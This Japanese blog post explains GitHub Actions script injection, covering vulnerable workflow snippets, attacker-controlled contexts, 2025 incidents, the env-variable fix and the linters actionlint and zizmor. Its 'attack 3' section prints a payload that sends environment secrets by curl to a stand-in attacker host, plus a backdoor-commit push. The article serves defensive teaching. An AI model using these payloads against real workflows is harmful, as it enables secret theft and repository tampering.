GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃が始まる

@koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。

書きました。GitHub Actions 触る人は全員知っておいてほしい

【GitHub Actions】スクリプトインジェクションの実践例(koki 氏)は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫?」という疑問にも明確に「安全ではない」と回答しています。

2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。

スクリプトインジェクションとは何か

GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。

通常の期待:
  ${{ github.event.pull_request.title }} → 文字列として処理される

実際の動作:
  ${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる
                                            → シェルがコマンドとして解釈する

つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。

攻撃の実践例

攻撃 1: PR タイトルによるインジェクション

脆弱なワークフロー:

1
2
3
4
5
6
7
8
on:
  pull_request:

jobs:
  example:
    runs-on: ubuntu-latest
    steps:
      - run: echo "PR title is ${{ github.event.pull_request.title }}"

攻撃者が PR タイトルを "; echo INJECTED" に設定すると:

1
2
# 展開後のコマンド
echo "PR title is "; echo INJECTED""

echo "PR title is "echo INJECTED の 2 つのコマンドが実行されます。INJECTED の部分を任意のコマンドに置き換えれば、シークレットの窃取やコードの改ざんが可能です。

攻撃 2: ブランチ名によるインジェクション

脆弱なワークフロー:

1
- run: echo "PR Head Ref is ${{ github.head_ref }}"

ブランチ名にはスペースを含められませんが、${IFS}(Internal Field Separator)で代用できます。

ブランチ名: main";echo${IFS}INJECTED"

展開後:

1
echo "PR Head Ref is main";echo INJECTED""

攻撃 3: 実際のシークレット窃取

理論的な echo INJECTED ではなく、実際の攻撃では以下のようなペイロードが使われます。

1
2
3
4
5
# シークレットを外部サーバーに送信
"; curl -X POST -d "$(env)" https://attacker.example.com/steal"

# GITHUB_TOKEN でリポジトリにバックドアを設置
"; git config user.name attacker && git commit --allow-empty -m 'backdoor' && git push"

攻撃者が制御可能なコンテキスト変数

GitHub Security Lab が公開している「信頼できない入力」の一覧です。

コンテキスト攻撃ベクトル
github.event.pull_request.titlePR タイトル
github.event.pull_request.bodyPR 本文
github.event.issue.titleIssue タイトル
github.event.issue.bodyIssue 本文
github.event.comment.bodyコメント本文
github.head_refPR のソースブランチ名
github.event.commits[*].messageコミットメッセージ
github.event.commits[*].author.nameコミット作者名
github.event.commits[*].author.emailコミット作者メール
github.event.pages[*].page_nameWiki ページ名

これらを run: ステップで直接 ${{ }} に入れた瞬間、インジェクションが可能になります。

防御方法 — 環境変数を経由する

修正は一行の変更です。

脆弱なコード

1
- run: echo "PR title is ${{ github.event.pull_request.title }}"

安全なコード

1
2
3
- run: echo "PR title is ${PR_TITLE}"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

env: で渡された値はシェル環境変数としてメモリに格納されます。シェルスクリプトの生成時には関与しないため、コマンドインジェクションが成立しません。

脆弱なパターン:
  テンプレート展開 → 値がスクリプトに埋め込まれる → シェルが実行

安全なパターン:
  テンプレート展開 → 値が環境変数に格納される → シェルがスクリプトを実行
                                                  → 環境変数は文字列として参照

よくある間違い: ${{ env.* }} を使う

1
2
3
4
# これは安全ではない!
- run: echo "value is ${{ env.MY_VAR }}"
  env:
    MY_VAR: ${{ github.event.pull_request.title }}

${{ env.MY_VAR }} はテンプレート展開されるため、元の値がスクリプトに直接埋め込まれます。必ずシェル変数 ${MY_VAR} を使ってください。

「プライベートリポジトリなら安全?」— いいえ

koki 氏が追記で強調しているポイントです。以下のシナリオでプライベートリポジトリでも攻撃が成立します。

攻撃シナリオ:

1. 侵害された GitHub App が「Contents: Write」+「Pull Requests: Write」権限を持つ
2. GitHub App が悪意のある PR タイトルで PR を作成
3. ワークフローが自動的にトリガーされる
4. スクリプトインジェクションでシークレットが窃取される

「Workflows: Write」権限がなくても、PR の作成だけでワークフローをトリガーできます。プライベートリポジトリに AWS キーを保存するのが安全でないのと同じ理屈です。

2025 年の実際のインシデント

インシデント影響手法
GhostAction3,325 シークレット窃取(AWS キー・DB 認証情報含む)ワークフローに悪意あるコードを注入し HTTP POST で外部送信
tj-actions/changed-files(CVE-2025-30066)23,000+ リポジトリサプライチェーン攻撃でバージョンタグを改ざん。CI ランナーのメモリをダンプ
gluestack-ui(CVE-2025-53104)NPM パッケージの侵害GitHub Discussion のタイトル/本文経由でコマンド注入
PyPI トークン窃取多数のリポジトリの PyPI トークンワークフロー改ざんで外部サーバーにトークン送信

これらは全て、${{ }} 式の不適切な使用やサプライチェーンの信頼関係を悪用した攻撃です。

静的検査ツール — 自動で検出する

actionlint

GitHub Actions ワークフローの静的チェッカーです。${{ }} 式内の信頼できないコンテキスト変数を検出します。

1
2
3
4
5
# インストール
go install github.com/rhysd/actionlint/cmd/actionlint@latest

# 実行
actionlint

YAML の構文・構造検証に加え、セキュリティパターンも検出します。実行時間は 0.39 秒以内と高速です。

zizmor

GitHub Actions 専用のセキュリティリンターです。インジェクション脆弱性、権限問題、可変タグの使用など、内在的なセキュリティリスクを検出します。

1
2
3
4
5
# インストール
pip install zizmor

# 実行(自動修正付き)
zizmor --fix .github/workflows/

自動修正機能があるのが特徴で、検出した脆弱パターンを安全なパターンに書き換えてくれます。

ツール比較

ツール対象特徴
actionlint構文 + セキュリティ高速。CI に組み込みやすい
zizmorセキュリティ特化自動修正あり
CodeQLコード全般GitHub Advanced Security で利用可能
Scorecardsサプライチェーンスクリプトインジェクション + トークン権限 + アクション固定

koki 氏は actionlint と zizmor の併用を推奨しています。それぞれ検出可能な項目が異なり、補完関係にあるためです。

防御のチェックリスト

[ ] run: 内で ${{ }} を直接使っていないか
[ ] env: 経由でシェル変数として渡しているか
[ ] ${{ env.* }} ではなく ${VAR} を使っているか
[ ] サードパーティ Actions はコミットハッシュで固定しているか
[ ] GITHUB_TOKEN の権限は最小限か
[ ] actionlint / zizmor を CI に組み込んでいるか
[ ] pull_request_target トリガーを使っていないか(使う場合は慎重に)

まとめ

  • ${{ }}run: に直接書くな: テンプレート展開がシェル解析より先に行われるため、攻撃者が制御可能な値がそのままコマンドになる
  • 環境変数を経由せよ: env: でシェル変数に渡すだけで、値は文字列として処理されインジェクションが防止される
  • ${{ env.* }} も危険: テンプレート展開されるため、${VAR} を使うこと
  • プライベートリポジトリも安全ではない: 侵害された GitHub App や内部脅威により、プライベートリポジトリでもスクリプトインジェクションは成立する
  • 2025 年は実害が発生: GhostAction で 3,325 シークレット、tj-actions で 23,000 リポジトリが被害。理論上の脅威ではなく現実のリスク
  • actionlint + zizmor で自動検出: CI に組み込んで脆弱パターンを継続的に検出・修正する
  • 判断コストをゼロにする: 「この変数は信頼できるか」を毎回考えるのではなく、「常に環境変数を経由する」というルールで統一する

参考